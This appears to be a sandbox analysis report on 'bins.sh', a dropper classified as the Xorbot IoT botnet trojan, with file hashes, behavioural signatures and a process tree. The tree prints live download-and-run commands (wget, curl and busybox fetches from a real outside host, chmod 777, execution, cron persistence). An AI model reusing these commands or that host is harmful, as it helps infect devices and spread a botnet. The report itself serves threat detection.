Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21-02-2025 06:43

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b2421bced7297b8ce586955885acdf36

  • SHA1

    a227f69efdf1b3714e3fcd4b959afc453c7a01c9

  • SHA256

    d921e0c0ab0318ea71c305c452753c8aec6f3a82f20263ed34f1f4711e5f0672

  • SHA512

    91a3af3a61cb0b2d3d779ac640c4915e00bb683d50d4ff2db53856149aaafc743d74bfd4deeace0a1d1c07dfa501cf91fefade6e56f1997b7987b15e55b8431b

  • SSDEEP

    192:jYvmHuU0/6GssI2O/wkyWDNfvfQWyz1U0/6GX2O/wkw:jqmHuU0/6GssI2O/wkJNfvfChU0/6GXU

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1956) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:638
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:640
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:643
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:660
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:748
      • /bin/chmod
        chmod 777 ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • File and Directory Permissions Modification
        PID:749
      • /tmp/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        ./ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:750
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:752
            • /usr/bin/crontab
              crontab -l
              4⤵
              • Reads runtime system information
              PID:753
          • /bin/sh
            sh -c "crontab -"
            3⤵
              PID:754
              • /usr/bin/crontab
                crontab -
                4⤵
                • Creates/modifies Cron job
                PID:755
          • /bin/rm
            rm ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
            2⤵
              PID:757
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/FV4JEYM4varu7TGE5bOWd44mWKoMV2piwf
              2⤵
              • System Network Configuration Discovery
              PID:760

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • /tmp/ZBFQSEqGAPdlJgNJHNn1hpoUqxm46loUPk
            Filesize

            141KB

            MD5

            3ca8decdb1e52c423c521bfff02ac200

            SHA1

            8621ecd6807109b8541912ad9e134f6fb49bfd48

            SHA256

            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

            SHA512

            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

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          • /var/spool/cron/crontabs/tmp.7v3UhD
            Filesize

            210B

            MD5

            ac64e4e44f3be6b3e289e473dc1636f8

            SHA1

            9768a02c7c6bb0b8285855b4dc720ccde467ec7d

            SHA256

            fcf0ab1943bcbac142fe23f335573972ca76d05989a3ef6108f1270b5e189074

            SHA512

            a15b5cc615cc097b2c372d326ecad065fe75cc8a3b4438eb3276571461d9829a5900ae00acfc8f807820bbca98849d9df33e5889771e62891f787914192c103c

            Download Submit